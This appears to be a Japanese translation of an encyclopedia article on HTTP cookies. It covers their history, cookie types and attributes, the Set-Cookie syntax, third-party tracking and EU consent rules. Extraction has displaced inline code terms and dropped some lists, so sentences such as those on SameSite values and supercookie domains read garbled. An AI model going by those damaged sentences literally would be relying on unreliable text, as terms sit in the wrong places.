Loading article…
HTTP Cookie（ウェブCookie、インターネットCookie、ブラウザCookie、または単にCookieとも呼ばれる）は、ユーザーがウェブサイトを閲覧している間にウェブサーバーによって作成され、ユーザーのウェブブラウザによってユーザーのコンピュータまたはその他のデバイスに配置される小さなデータブロックです。Cookieはウェブサイトへのアクセスに使用されるデバイスに配置され、セッション中にユーザーのデバイスに複数のCookieが配置される場合があります。
Cookie は、ウェブ上で有用かつ時には不可欠な機能を果たします。Cookie により、ウェブ サーバーは、ユーザーのデバイスに状態情報 (オンライン ストアのショッピング カートに追加されたアイテムなど) を保存したり、ユーザーの閲覧アクティビティ (特定のボタンをクリックしたり、ログインしたり、過去に訪問したページを記録したりすることを含む) を追跡したりできます。[ 1 ]また、Cookie は、名前、住所、パスワード、支払いカード番号など、ユーザーが以前にフォーム フィールドに入力した情報を保存して後で使用するためにも使用できます。
認証クッキーは、ユーザーがログインしていること、およびどのアカウントでログインしているかを認証するために、Webサーバーで一般的に使用されます。クッキーがない場合、ユーザーはアクセスしたい機密情報を含む各ページにログインして認証する必要があります。認証クッキーのセキュリティは、一般的に発行元のWebサイトとユーザーのWebブラウザのセキュリティ、およびクッキーデータが暗号化されているかどうかに依存します。セキュリティの脆弱性により、攻撃者がクッキーのデータを読み取ったり、ユーザーデータにアクセスするために使用したり、クッキーが属するWebサイトへの（ユーザーの認証情報を使用した）アクセスに使用したりする可能性があります（クロスサイトスクリプティングとクロスサイトリクエストフォージェリの例を参照）。[ 2 ]
トラッキング クッキー、特にサードパーティ トラッキング クッキーは、個人の閲覧履歴 の長期記録を収集する方法としてよく使用されます。これは潜在的なプライバシーの懸念であり、2011 年に欧州[ 3 ]および米国の立法者が対策を講じるきっかけとなりました。 [ 4 ] [ 5 ]欧州法では、欧州連合加盟国を対象とするすべての Web サイトは、デバイスに必須ではないクッキーを保存する前に、ユーザーから「十分な情報に基づく同意」を得る必要があると規定されています。
クッキーという用語は、ウェブブラウザのプログラマーであるルー・モントゥリによって造語されました。これは、 Unixプログラマーが使用する、プログラムが受信して変更せずに送信するデータパケットであるマジック クッキーという用語から派生したものです。[ 6 ] [ 7 ]
マジッククッキーは、コンピュータープログラマーのルー・モントゥリがウェブ通信で使うことを思いついた1994年6月当時、すでにコンピューティングで使われていました。 [ 8 ]当時、彼はネットスケープ・コミュニケーションズの従業員で、 MCI向けに電子商取引アプリケーションを開発していました。ヴィント・サーフとジョン・クレンシンは、ネットスケープ・コミュニケーションズとの技術的な話し合いでMCIを代表しました。MCIは、サーバーがトランザクションの状態の一部を保持する必要がないようにしたかったため、代わりに各ユーザーのコンピューターにその状態を保存する方法を見つけるようネットスケープに依頼しました。クッキーは、仮想ショッピングカートを確実に実装するという問題に対する解決策を提供しました。[ 9 ] [ 10 ]
モントゥリはジョン・ジャンナンドレアと共に、同年、Netscapeの最初のクッキー仕様を執筆した。1994年10月13日にリリースされたMosaic Netscapeのバージョン0.9beta [ 11 ] [ 12 ]はクッキーをサポートしていた。[ 10 ]（研究所外での）クッキーの最初の使用は、Netscape Webサイトへの訪問者が既にサイトを訪問したことがあるかどうかを確認することだった。モントゥリは1995年にクッキー技術の特許を申請し、1998年に特許が付与された。[ 13 ]クッキーのサポートは、1995年10月にリリースされたバージョン2のInternet Explorerに統合された。 [ 14 ]
当時、クッキーの導入は一般には広く知られていませんでした。特に、クッキーはデフォルトで受け入れられており、ユーザーにはその存在が通知されませんでした。[ 15 ] 1996年2月12日にフィナンシャル・タイムズがクッキーに関する記事を掲載した後、一般の人々はクッキーについて知りました。[ 16 ]同年、クッキーは特にプライバシーへの影響の可能性から、メディアで大きく取り上げられました。クッキーは、1996年と1997年の2回の米国連邦取引委員会の公聴会で議論されました。 [ 2 ]
正式なクッキー仕様の開発は既に進行中でした。特に、正式な仕様に関する最初の議論は、1995 年 4 月に www-talkメーリングリストで始まりました。インターネット技術タスクフォース(IETF)内に特別なワーキンググループが結成されました。HTTP トランザクションに状態を導入するための 2 つの代替案が、それぞれBrian Behlendorfと David Kristol によって提案されていました。しかし、Kristol 自身と Lou Montulli が率いるグループは、すぐに Netscape 仕様を起点として使用することを決定しました。1996 年 2 月、ワーキンググループはサードパーティ クッキーが重大なプライバシーの脅威であると認識しました。グループによって作成された仕様は、最終的に 1997 年 2 月に RFC 2109 として公開されました。この仕様では、サードパーティ クッキーはまったく許可されないか、少なくともデフォルトでは有効にならないように指定されています。[ 17 ]この頃には、広告会社が既にサードパーティ クッキーを使用していました。RFC 2109 のサードパーティ クッキーに関する勧告は、Netscape と Internet Explorer では採用されませんでした。 RFC 2109は、2000年10月にRFC 2965に置き換えられました。
RFC 2965 ではSet-Cookie2ヘッダー フィールドが追加され、非公式には「RFC 2965 スタイルのクッキー」と呼ばれるようになりました。これは、元のSet-Cookieヘッダー フィールドが「Netscape スタイルのクッキー」と呼ばれていたのと対照的です。[ 18 ] [ 19 ]Set-Cookie2しかし、ほとんど使用されておらず、現実世界で使用されるクッキーの決定的な仕様として書かれた RFC 6265 で 2011 年 4 月に非推奨になりました。 [ 20 ]最新のブラウザでは、このSet-Cookie2ヘッダー フィールドは認識されません。[ 21 ]
セッションクッキー（インメモリクッキー、一時クッキー、非永続クッキーとも呼ばれる）は、ユーザーがウェブサイトを閲覧している間だけ一時メモリに存在します。[ 22 ] セッションクッキーは、ユーザーがウェブブラウザを閉じると期限切れになるか削除されます。[ 23 ]セッションクッキーは、有効期限が割り当てられていないことでブラウザによって識別されます。
永続クッキーは、特定の日付または一定期間後に有効期限が切れます。作成者によって設定された永続クッキーの有効期間中は、ユーザーがそのクッキーが属するウェブサイトにアクセスするたび、またはユーザーが別のウェブサイトからそのウェブサイトに属するリソース（広告など）を表示するたびに、その情報がサーバーに送信されます。
このため、永続クッキーは、広告主が長期間にわたってユーザーのウェブ閲覧習慣に関する情報を記録するために使用できることから、トラッキングクッキーと呼ばれることもあります[ 24 ] [ 25 ]。永続クッキーは、ユーザーがウェブサイトのアカウントにログインした状態を維持し、訪問のたびにログイン認証情報を再入力する必要がないようにするなどの目的でも使用されます。
セキュアなクッキーは、暗号化された接続（HTTPSなど）でのみ送信できます。暗号化されていない接続（ HTTPなど）では送信できません。これにより、クッキーが盗聴によって盗まれる可能性が低くなります。Secureクッキーにフラグを追加することで、クッキーをセキュアにすることができます。
http -only クッキーは、 JavaScriptなどのクライアント側 API からアクセスできません。この制限により、クロスサイトスクリプティング(XSS)によるクッキーの盗難の脅威が排除されます。[ 26 ]ただし、このクッキーはクロスサイトトレーシング(XST) およびクロスサイトリクエストフォージェリ(CSRF) 攻撃に対して脆弱なままです。この特性はHttpOnly、クッキーにフラグを追加することで付与されます。
2016年にGoogle Chromeバージョン51で、属性を持つ新しいタイプのCookieが導入されました[ 27 ]。SameSite属性の可能な値はStrict、Laxまたはです[ 28 ]None。属性を使用すると、ブラウザは、オリジンドメインと同じターゲットドメインにのみCookieを送信します。これにより、クロスサイトリクエストフォージェリ（CSRF）攻撃を効果的に軽減できます。を使用すると、ブラウザは、オリジンドメインと異なる場合でも、ターゲットドメインへのリクエストとともにCookieを送信しますが、 GETなどの安全なリクエストのみ（POSTは安全ではありません）で、サードパーティCookie（iframe内）は送信しません。属性はサードパーティ（クロスサイト）Cookieを許可しますが、ほとんどのブラウザはSameSite=None Cookieにsecure属性を要求します[ 29 ]。SameSite=StrictSameSite=LaxSameSite=None
同一サイトクッキーは、RFC 6265 を更新するための新しい RFC ドラフト「Cookies: HTTP State Management Mechanism」[ 30 ]に組み込まれています(承認された場合)。
Chrome、Firefox、Edge は、Same-site クッキーのサポートを開始しました。展開の鍵は、SameSite 属性が定義されていない既存のクッキーの処理です。Chrome は、これらの既存のクッキーを SameSite=None として処理してきました。これにより、すべての Web サイト/アプリケーションが以前と同じように動作します。Google は、SameSite=Lax2020 年 2 月にリリース予定だった Chrome 80 でこのデフォルトを変更する予定でしたが、[ 31 ]サードパーティ/クロスサイト クッキーに依存するアプリケーション/Web サイトが壊れる可能性とCOVID-19 の状況により、Google はこの変更を Chrome 84 に延期しました。[ 32 ] [ 33 ]
スーパークッキーとは、トップレベルドメイン（例.com：）またはパブリックサフィックス（例：）を起源とするクッキーです.co.uk。一方、通常のクッキーは、特定のドメイン名（例：）を起源としますexample.com。
スーパークッキーはセキュリティ上の懸念事項となる可能性があるため、ウェブブラウザでブロックされることがよくあります。ブラウザでブロックされていない場合、悪意のあるウェブサイトを操作している攻撃者はスーパークッキーを設定し、悪意のあるウェブサイトと同じトップレベルドメインまたはパブリックサフィックスを持つ別のウェブサイトへの正当なユーザーリクエストを妨害したり、なりすましたりする可能性があります。たとえば、オリジンが のスーパークッキーは、クッキーが から発信されたものでなくても、.comへのリクエストに悪影響を与える可能性があります。これは、ログインを偽装したり、ユーザー情報を変更したりするために悪用される可能性があります。example.comexample.com
パブリックサフィックスリスト[ 34 ]は、スーパークッキーがもたらすリスクを軽減するのに役立ちます。パブリックサフィックスリストは、ドメイン名サフィックスの正確で最新のリストを提供することを目的としたベンダー横断的な取り組みです。古いバージョンのブラウザには最新のリストがない可能性があり、そのため特定のドメインからのスーパークッキーに対して脆弱になります。[ 35 ]
スーパークッキーという用語は、HTTP クッキーに依存しないトラッキング技術にも使用されます。2011年 8 月に Microsoft の Web サイト上で、 MUID (マシン固有識別子) クッキーを再生するクッキー同期とETagクッキーという 2 つのスーパークッキーメカニズムが発見されました。 [ 36 ]メディアの注目を集めたため、Microsoft は後にこのコードを無効にしました。[ 37 ] 2021 年のブログ記事で、Mozilla は、サイトをまたいでユーザーを追跡する手段としてブラウザ キャッシュを使用することを指すのにスーパークッキーという用語を使用しました。 [ 38 ]
ゾンビCookieは、 Web サーバーによって訪問者のコンピュータまたはその他のデバイス上の、訪問者のWeb ブラウザーの専用の Cookie ストレージの場所以外の隠し場所に配置されたデータとコードであり、元の Cookie が削除された後に通常の Cookie として HTTP Cookie を自動的に再作成します。ゾンビ Cookie は、Flash ローカル共有オブジェクト、HTML5 Web ストレージ、その他のクライアント側およびサーバー側の場所など、複数の場所に保存される可能性があり、いずれかの場所で存在しないことが検出されると、JavaScript コードによって他の場所に保存されているデータを使用して、欠落したインスタンスが再作成されます。[ 39 ] [ 40 ]
クッキーは以下のコンポーネントで構成されています: [ 41 ] [ 42 ] [ 43 ]
SecureますHttpOnly。Cookie はもともと、ユーザーが Web サイト内を移動しながら購入したいアイテムを記録する方法 (仮想ショッピングカートまたはショッピングバスケット) を提供するために導入されました。[ 9 ] [ 10 ]しかし今日では、ユーザーのショッピングカートの内容は、クライアントの Cookie ではなく、サーバー上のデータベースに保存されるのが一般的です。どのユーザーがどのショッピングカートに割り当てられているかを追跡するために、サーバーは一意のセッション識別子(通常はランダムな文字と数字の長い文字列) を含む Cookie をクライアントに送信します。Cookie はクライアントが行うすべてのリクエストとともにサーバーに送信されるため、ユーザーが Web サイトの新しいページにアクセスするたびにそのセッション識別子がサーバーに送り返され、サーバーはユーザーに表示するショッピングカートを認識できます。
クッキーのもう一つの一般的な用途は、ウェブサイトへのログインです。ユーザーがウェブサイトのログインページにアクセスすると、通常、ウェブサーバーはクライアントに固有のセッション識別子を含むクッキーを送信します。ユーザーが正常にログインすると、サーバーはその特定のセッション識別子が認証済みであることを記憶し、ユーザーにサービスへのアクセスを許可します。
セッションクッキーには固有のセッション識別子しか含まれていないため、ウェブサイトが各ユーザーについて保存できる個人情報の量は事実上無制限です。ウェブサイトはクッキーのサイズに関する制限を受けません。また、セッションクッキーに含まれる情報量が少なく、必要な帯域幅も少ないため、ページの読み込み時間の短縮にも役立ちます。
Cookieは、ユーザーに関する情報を記憶し、そのユーザーに関連性の高いコンテンツを継続的に表示するために使用できます。例えば、Webサーバーは、前回Webサイトにログインした際に使用されたユーザー名を含むCookieを送信し、次回ログイン時にそのユーザー名が自動的に入力されるようにすることができます。
多くのウェブサイトは、ユーザーの好みに基づいてパーソナライズするためにクッキーを使用しています。ユーザーは、ウェブフォームに好みを入力してサーバーに送信することで、好みを選択します。サーバーは、その好みをクッキーにエンコードし、ブラウザにクッキーを送信します。こうすることで、ユーザーがウェブサイトのページにアクセスするたびに、サーバーはユーザーの好みに合わせてページをパーソナライズできます。例えば、Google検索エンジンはかつて、ユーザー（登録ユーザー以外も含む）が1ページあたりに表示する検索結果の数を決定できるようにするためにクッキーを使用していました。また、DuckDuckGoは、ユーザーがウェブページの色などの表示設定を行えるようにするためにクッキーを使用しています。
トラッキングクッキーは、ユーザーのウェブ閲覧習慣を追跡するために使用されます。これは、ページを要求したコンピュータのIPアドレスやHTTPリクエストヘッダーのリファラーフィールドを使用することでもある程度可能ですが、クッキーを使用するとより高い精度が得られます。これは次のように説明できます。
このログファイルを分析することで、ユーザーがどのページを、どのような順序で、どれくらいの時間閲覧したかを把握することが可能になります。
企業は、クッキーを追跡して購買習慣に関する情報を収集することで、ユーザーのウェブ行動を悪用している。ウォール・ストリート・ジャーナル紙は、アメリカの上位50のウェブサイトが平均64個の追跡技術をコンピュータにインストールしており、その結果、合計3,180個の追跡ファイルが存在することを発見した。[ 44 ]その後、データは収集され、入札する企業に販売される。
Cookieは任意のデータであり、通常はWebサーバーによって選択され、最初に送信され、Webブラウザによってクライアントコンピュータに保存されます。ブラウザは、リクエストごとにCookieをサーバーに送り返し、本来ステートレスなHTTPトランザクションに状態（以前のイベントの記憶）を導入します。Cookieがない場合、 WebページまたはWebページのコンポーネントの取得はそれぞれ独立したイベントとなり、Webサイト上でユーザーが行った他のすべてのページビューとはほとんど関係がありません。Cookieは通常Webサーバーによって設定されますが、JavaScriptなどのスクリプト言語を使用してクライアントによって設定することもできます（ただし、Cookieのフラグが設定されている場合は、スクリプト言語でCookieを変更することはできません）。HttpOnly
クッキーの仕様[ 45 ] [ 46 ]では、ブラウザがクッキーをサポートするために以下の要件を満たす必要があると規定されています。
Set-CookieCookieは、WebサーバーからHTTPレスポンスで送信されるヘッダーフィールドを使用して設定されます。このヘッダーフィールドは、WebブラウザにCookieを保存し、今後のサーバーへのリクエストで送信するように指示します（ブラウザがCookieをサポートしていない場合、またはCookieを無効にしている場合は、このヘッダーフィールドは無視されます）。
例えば、ブラウザはウェブwww.example.orgサイトのホームページへの最初のHTTPリクエストを送信します。
GET /index.html HTTP / 1.1 Host : www.example.org ...サーバーは2つのSet-Cookieヘッダーフィールドで応答します。
HTTP / 1.0 200 OK Content-type : text/html Set-Cookie : theme=light Set-Cookie : sessionToken=abc123; Expires=Wed, 9 Jun 2021 10:18:14 GMT ...サーバーからのHTTPレスポンスには、ウェブサイトのホームページの内容が含まれています。しかし、同時にブラウザに2つのCookieを設定するよう指示しています。1つ目の「theme」は、または属性を持たないため、セッションCookieとみなされます。セッションCookieは、ブラウザを閉じるときにブラウザによって削除されるように設計されています。2つ目の「sessionToken 」は、特定の日時でCookieを削除するようブラウザに指示する属性を持つため、永続Cookieとみなされます。ExpiresMax-AgeExpires
次に、ブラウザはspec.htmlウェブサイト上のページにアクセスするための別のリクエストを送信します。このリクエストにはCookieヘッダーフィールドが含まれており、そこにはサーバーがブラウザに設定するように指示した2つのCookieが含まれています。
GET /spec.html HTTP / 1.1 Host : www.example.org Cookie : theme=light; sessionToken=abc123 ...こうすることで、サーバーはこのHTTPリクエストが前のリクエストに関連していることを認識します。サーバーは要求されたページを送信することで応答し、場合によってはSet-CookieHTTPレスポンスにヘッダーフィールドを追加して、ブラウザに新しいCookieの追加、既存のCookieの変更、または既存のCookieの削除を指示します。Cookieを削除するには、サーバーはSet-Cookie過去の有効期限を持つヘッダーフィールドを含める必要があります。
Cookie の値は、印刷可能な任意のASCII文字 (!から~、Unicode\u0021から まで\u007E)で構成されますが,、 と;および空白文字は除きます。 Cookie の名前には、同じ文字に加え、 も含まれません=。これは、名前と値の区切り文字であるためです。 Cookie 標準 RFC 2965 はより厳格ですが、ブラウザでは実装されていません。
クッキークラムという用語は、クッキーの名前と値のペアを指す場合にも使用されることがあります。[ 47 ]
Cookieは、ブラウザ内で実行されるJavaScriptなどのスクリプト言語によっても設定できます。JavaScriptでは、この目的のためにオブジェクトdocument.cookieが使用されます。たとえば、この命令は、名前がtemperatureで値が20のdocument.cookie = "temperature=20"Cookieを作成します。[ 48 ]
Cookieには、名前と値に加えて、1つ以上の属性を持たせることができます。ブラウザはサーバーへのリクエストにCookie属性を含めず、Cookieの名前と値のみを送信します。Cookie属性は、Cookieを削除するタイミング、Cookieをブロックするタイミング、またはCookieをサーバーに送信するかどうかを判断するためにブラウザによって使用されます。
と属性はDomain、PathCookie のスコープを定義します。これらは基本的に、Cookie がどの Web サイトに属しているかをブラウザに伝えます。セキュリティ上の理由から、Cookie は現在のリソースのトップ ドメインとそのサブドメインにのみ設定でき、他のドメインとそのサブドメインには設定できません。たとえば、Web サイトはexample.orgドメイン の Cookie を設定することはできません。foo.comなぜなら、そうすると Web サイトがexample.orgドメイン の Cookie を制御できてしまうからですfoo.com。
サーバーがCookie のドメインDomainと属性を指定しない場合、それらは要求されたリソースのドメインとパスにデフォルト設定されます。 [ 49 ]ただし、ほとんどのブラウザでは、ドメインなしで設定された Cookie とドメイン付きで設定された Cookie には違いがあります。前者の場合、Cookie は へのリクエストに対してのみ送信され、ホストのみ Cookie とも呼ばれます。後者の場合、すべてのサブドメインも含まれます (たとえば、)。[ 50 ] [ 51 ]この一般的なルールの注目すべき例外は、Windows 10 RS3 より前の Edge と IE 11 および Windows 10 RS4 (2018 年 4 月) より前の Internet Explorer で、Cookie がドメイン付きで設定されたかなしで設定されたかに関わらず、常にサブドメインに Cookie を送信します。[ 52 ]Pathfoo.comfoo.comfoo.comdocs.foo.com
Set-Cookie以下は、ユーザーがログインした後のウェブサイトのHTTPレスポンスに含まれるヘッダーフィールドの例です。HTTPリクエストは、docs.foo.comサブドメイン内のウェブページに送信されました。
HTTP / 1.0 200 OK Set-Cookie : LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly Set-Cookie : SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly ...最初のクッキー には属性LSIDがなくDomain、Path属性が に設定されています/accounts。これは、ブラウザが に含まれるページを要求する場合にのみクッキーを使用するように指示しますdocs.foo.com/accounts(ドメインは要求ドメインから派生します)。他の 2 つのクッキーHSIDと は、ブラウザが任意のパス (たとえば ) のSSIDサブドメインを要求するときに使用されます。先頭のドットは最近の標準ではオプションですが、RFC 2109 に基づく実装との互換性のために追加できます。[ 53 ].foo.comwww.foo.com/bar
このExpires属性は、ブラウザがクッキーを削除する特定の日時を定義します。日時はWdy, DD Mon YYYY HH:MM:SS GMT、 の形式で指定されます。YYWdy, DD Mon YY HH:MM:SS GMTの値は で、YY は 0 以上 69 以下です。[ 54 ]
あるいは、このMax-Age属性を使用して、ブラウザがクッキーを受信した時刻を基準として、将来の秒数間隔でクッキーの有効期限を設定することもできます。以下は、Set-Cookieユーザーがログインした後にウェブサイトから受信した3つのヘッダーフィールドの例です。
HTTP / 1.0 200 OK Set-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly Set-Cookie : made_write_conn=1295214458; Path=/; Domain=.example.com Set-Cookie : reg_fb_gate=deleted; Expires=Thu, 1 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly最初のクッキーは、lu2013年1月15日に有効期限が切れるように設定されています。このクッキーは、その日までクライアントのブラウザで使用されます。2番目のクッキーはmade_write_conn、有効期限が設定されていないため、セッションクッキーです。ユーザーがブラウザを閉じると削除されます。3番目のクッキーは、有効期限が過去の日付に変更され、reg_fb_gate値が「削除済み」Set-Cookieに変更されています。有効期限が過去の日付になっているため、ブラウザはこのクッキーをすぐに削除します。なお、クッキーは、フィールドのドメイン属性とパス属性が、クッキー作成時に使用された値と一致する場合にのみ削除されます。
2016年現在Internet Explorer はサポートしていませんでしたMax-Age。[ 55 ] [ 56 ]
および属性にSecureはHttpOnly、関連付けられた値はありません。むしろ、属性名だけが存在することで、それらの動作が有効になることを示しています。
このSecure属性は、Cookie の通信を暗号化された送信に限定し、ブラウザが安全な/暗号化された接続を介してのみ Cookie を使用するように指示することを目的としています。しかし、Web サーバーが安全でない接続から secure 属性を持つ Cookie を設定した場合、中間者攻撃によって、ユーザーに送信される Cookie が傍受される可能性があります。したがって、最大限のセキュリティを確保するためには、Secure 属性を持つ Cookie は安全な接続を介してのみ設定する必要があります。
このHttpOnly属性は、ブラウザがHTTP（およびHTTPS）リクエスト以外のチャネルを通じてCookieを公開しないように指示します。つまり、Cookieはクライアントサイドスクリプト言語（特にJavaScript ）を介してアクセスできないため、クロスサイトスクリプティング（広く普及している攻撃手法）によって簡単に盗まれることはありません。 [ 57 ]
ほとんどの最新ブラウザはクッキーをサポートしており、ユーザーがクッキーを無効にすることができます。一般的なオプションは次のとおりです。[ 58 ]
Cookieは、Webユーザーのプライバシーと匿名性に重要な影響を与える可能性があります。Cookieは、それを設定したサーバーまたは同じインターネットドメイン内のサーバーにのみ送信されますが、Webページには、他のドメインのサーバーに保存されている画像やその他のコンポーネントが含まれている場合があります。これらのコンポーネントを取得する際に設定されるCookieは、サードパーティCookieと呼ばれます。サードパーティCookieは、アドレスバーに表示されているドメインとは異なるドメインに属します。この種のCookieは通常、Webページにバナー広告などの外部Webサイトからのコンテンツが含まれている場合に発生します。これにより、ユーザーの閲覧履歴を追跡できる可能性があり、広告主はこれを利用して各ユーザーに関連性の高い広告を配信します。
例えば、ユーザーが を訪問したとしますwww.example.org。このウェブサイトには の広告が含まれておりad.foxytracking.com、ダウンロードされると、広告のドメイン ( ad.foxytracking.com) に属する Cookie が設定されます。次に、ユーザーが別のウェブサイト を訪問するとwww.foo.com、そこにも の広告が含まれておりad.foxytracking.com、そのドメイン ( ) に属する Cookie が設定されます。最終的に、これらの Cookie は両方とも、広告の読み込み時またはウェブサイト訪問時に広告主に送信されます。広告主は、これらの Cookie を使用して、 HTTP リファラーad.foxytracking.comヘッダー フィールドを通じて、この広告主の広告が掲載されているすべてのウェブサイトにおけるユーザーの閲覧履歴を構築できます。
2014年現在一部のウェブサイトは、100を超えるサードパーティドメインから読み取り可能なクッキーを設定していました。[ 63 ]平均して、1つのウェブサイトは10個のクッキーを設定しており、最大でクッキーの数（ファーストパーティとサードパーティ）は800を超えていました。[ 64 ]
Cookie の古い標準である RFC 2109 [ 17 ]および RFC 2965 では、ブラウザはユーザーのプライバシーを保護し、デフォルトでサーバー間で Cookie の共有を許可しないように推奨されています。しかし、新しい標準である RFC 6265 では、ユーザー エージェントが任意のサードパーティ Cookie ポリシーを実装することを明示的に許可しています。ほとんどの最新の Web ブラウザには、サードパーティ Cookie をブロックできるプライバシー設定が含まれています。2020 年以降、Apple Safari [ 65 ]、Firefox [ 66 ]、およびBrave [ 67 ]は、デフォルトですべてのサードパーティ Cookie をブロックします。Safari では、埋め込みサイトが Storage Access API を使用してファーストパーティ Cookie を設定する許可を要求することができます。2020 年 5 月、Google Chrome 83 では、プライベート ブラウジング用のシークレット モードでサードパーティ Cookie をデフォルトでブロックする新機能が導入され、通常のブラウジング中はブロックがオプションになりました。同じアップデートで、ファーストパーティ Cookie をブロックするオプションも追加されました。[ 68 ] 2024 年 4 月、Chrome はサードパーティ Cookie のデフォルトブロックを 2025 年まで延期しました。[ 69 ] 2024 年 7 月、Google はサードパーティ Cookie をデフォルトでブロックするのではなく、ユーザーにサードパーティ Cookie を許可するように促す計画を発表しました。[ 70 ]
ユーザーのプロファイルを作成する可能性は、特にサードパーティCookieを使用して複数のドメインにわたって追跡が行われる場合、プライバシーの脅威となります。そのため、一部の国ではCookieに関する法規制を設けています。
サードパーティのクッキーの使用を消費者に開示しないウェブサイト運営者は、クッキーの使用が発覚した場合に消費者の信頼を損なうリスクを負う。明確な開示（プライバシーポリシーなど）を行うことで、そのようなクッキーの発覚による悪影響を排除できる傾向がある。[ 71 ]
米国政府は、ホワイトハウスの薬物政策室がオンラインの反薬物広告を閲覧するコンピュータユーザーを追跡するためにクッキーを使用していたことが明らかになった後、2000年にクッキーの設定に関する厳格な規則を定めた。2002年、プライバシー活動家のダニエル・ブラントは、CIAがウェブサイトを訪問したコンピュータに永続的なクッキーを残していたことを発見した。ポリシー違反を通知されたCIAは、これらのクッキーは意図的に設定されたものではないと述べ、設定を停止した。2005年12月25日、ブラントは、国家安全保障局（NSA）がソフトウェアのアップグレードにより、訪問者のコンピュータに2つの永続的なクッキーを残していたことを発見した。通知を受けた後、NSAは直ちにクッキーを無効にした。[ 72 ]
2002年、欧州連合はプライバシーと電子通信に関する指令（eプライバシー指令）を発足させました。これは、エンドユーザーの同意を得て、クッキーや、ユーザーの機器に情報を保存およびアクセスするための類似の技術を配置することを義務付ける政策です。[ 73 ] [ 74 ]特に、第5条第3項では、技術的に不要なデータをユーザーのコンピュータに保存することは、そのデータの使用方法に関する情報がユーザーに提供され、ユーザーがこの保存操作を拒否できる場合にのみ許可されると規定しています。この指令は、ユーザーが要求したサービスを提供するために機能的に必要なクッキーの使用について、ユーザーに承認や通知を求めるものではありません。たとえば、設定を保持したり、ログインセッションを保存したり、ユーザーのショッピングカートの中身を記憶したりする場合などです。[ 75 ]
2009年に、指令2009/136/ECにより法律が改正され、第5条第3項が変更されました。改正された指令では、ユーザーがクッキーの保存を拒否するオプションがある代わりに、クッキーの保存には同意を得る必要があります。[ 74 ]同意の定義は、欧州のデータ保護法、まず1995年のデータ保護指令、次に一般データ保護規則（GDPR）の定義と相互参照されています。GDPRの条文で同意の定義が強化されたため、ユーザーのデバイス上のクッキーなどの情報を保存およびアクセスする者に要求される同意の質が向上しました。しかし、データ保護指令に基づいて決定された事件で、欧州連合司法裁判所は後に、以前の法律が現在の法律と同じ強力な同意の質を意味していたことを確認しました。[ 76 ]ユーザーの端末機器に情報を保存またはアクセスすることから生じる同意の要件に加えて、多くのクッキーに含まれる情報は、GDPR の下では個人データとみなされ、処理するには法的根拠が必要になります。これは、個人データの定義が同一であった 1995 年のデータ保護指令以来の状況ですが、GDPR の解釈的前文 30 では、クッキー識別子が含まれることが明確にされています。GDPR の下でのすべてのデータ処理に同意が必要なわけではありませんが、行動ターゲティング広告の特性上、他の根拠の下で正当化することは困難または不可能です。[ 77 ] [ 78 ]
GDPRとeプライバシー指令の組み合わせに基づく同意は、クッキーに関していくつかの条件を満たす必要があります。[ 79 ]同意は自由意思に基づき、かつ明確でなければなりません。あらかじめチェックされたボックスは、1995年データ保護指令[ 76 ]とGDPR（前文32）の両方で禁止されています。[ 80 ] GDPRでは、同意は「与えるのと同じくらい簡単に撤回できる」必要があると明記されています。 [ 80 ]つまり、すべて拒否ボタンは、クリック数と視認性の点で、「すべて承認」ボタンと同じくらい簡単にアクセスできる必要があります。[ 79 ]同意は具体的かつ情報に基づいたものでなければなりません。つまり、同意はこのデータの使用に関する特定の目的に関係し、この同意を使用しようとするすべての組織が具体的に指定されている必要があります。[ 81 ] [ 82 ]欧州連合司法裁判所はまた、同意は「効率的かつ適時」でなければならないと判決を下しました。つまり、同意はクッキーが設置され、データ処理が開始される前に取得する必要があり、その後では取得できません。[ 83 ]
業界の反応は概して否定的である。法律事務所Speechly BirchamのRobert Bond氏は、その影響は「英国のすべての企業」にとって「広範囲にわたり、信じられないほど負担が大きい」と述べている。Privacy InternationalのSimon Davis氏は、適切な執行は「業界全体を破壊する」と主張している。[ 84 ]しかし、学者たちは、クッキーポップアップの負担の大きさは、GDPRと互換性がない可能性のある複雑な要求を通じてビジネスモデルを継続しようとする試みから生じていると指摘している。[ 77 ]
学術研究と規制当局の両方が、法律の広範な不遵守について述べています。10,000 の英国の Web サイトをスクレイピングした研究では、最低限の法的要件を遵守しているサイトは 11.8% に過ぎず、Cookie の受け入れと同じくらい簡単に使用できる拒否メカニズムを提供している Web サイトは調査対象の 33.4% に過ぎませんでした。[ 79 ] 17,000 の Web サイトを調査したところ、84% のサイトがこの基準に違反しており、さらに多くのサイトが通知なしにサードパーティ Cookie を設置していることがわかりました。[ 85 ]英国の規制当局である情報コミッショナー事務局は、2019 年に、広告技術グループのInteractive Advertising Bureauによる業界の「透明性と同意のフレームワーク」は、「問題となっている個人データの透明性と公正な処理を確保するには不十分であり、したがって自由かつ十分な情報に基づいた同意を提供するには不十分であり、PECR [e-プライバシー] の遵守に付随する影響がある」と述べました。[ 81 ]コンプライアンスソリューション（同意管理プラットフォーム）を販売する多くの企業は、明らかに違法な方法で設定することを許可しており、学者たちは、これが責任の適切な配分に関する疑問を生じさせていると指摘している。[ 86 ]
サーバーがブラウザにプライバシーポリシーを伝えるためのW3C仕様であるP3Pが提案され、自動的かつユーザー設定可能な処理が可能になった。しかし、この仕様を実装しているウェブサイトは少なく、W3Cはこの仕様に関する作業を中止した。[ 87 ]
ほとんどのブラウザではサードパーティのクッキーをブロックしてプライバシーを強化し、広告会社や追跡会社による追跡を減らし、すべてのサイトでのユーザーのウェブ体験に悪影響を与えないようにすることができます。一部のサイトでは「クッキーウォール」が運用されており、ブラウザで技術的にクッキーを許可するか、「同意する」を押すか、またはその両方を行うことでサイトへのアクセスが条件付けられます。[ 88 ] 2020年、 EUのすべてのデータ保護規制当局で構成される欧州データ保護委員会は、クッキーウォールは違法であると表明しました。
同意が自由に与えられるためには、サービスや機能へのアクセスは、ユーザーの端末機器に情報を保存すること、または既に保存されている情報にアクセスすることについてのユーザーの同意を条件とするものであってはならない（いわゆるクッキーウォール）。[ 89 ]
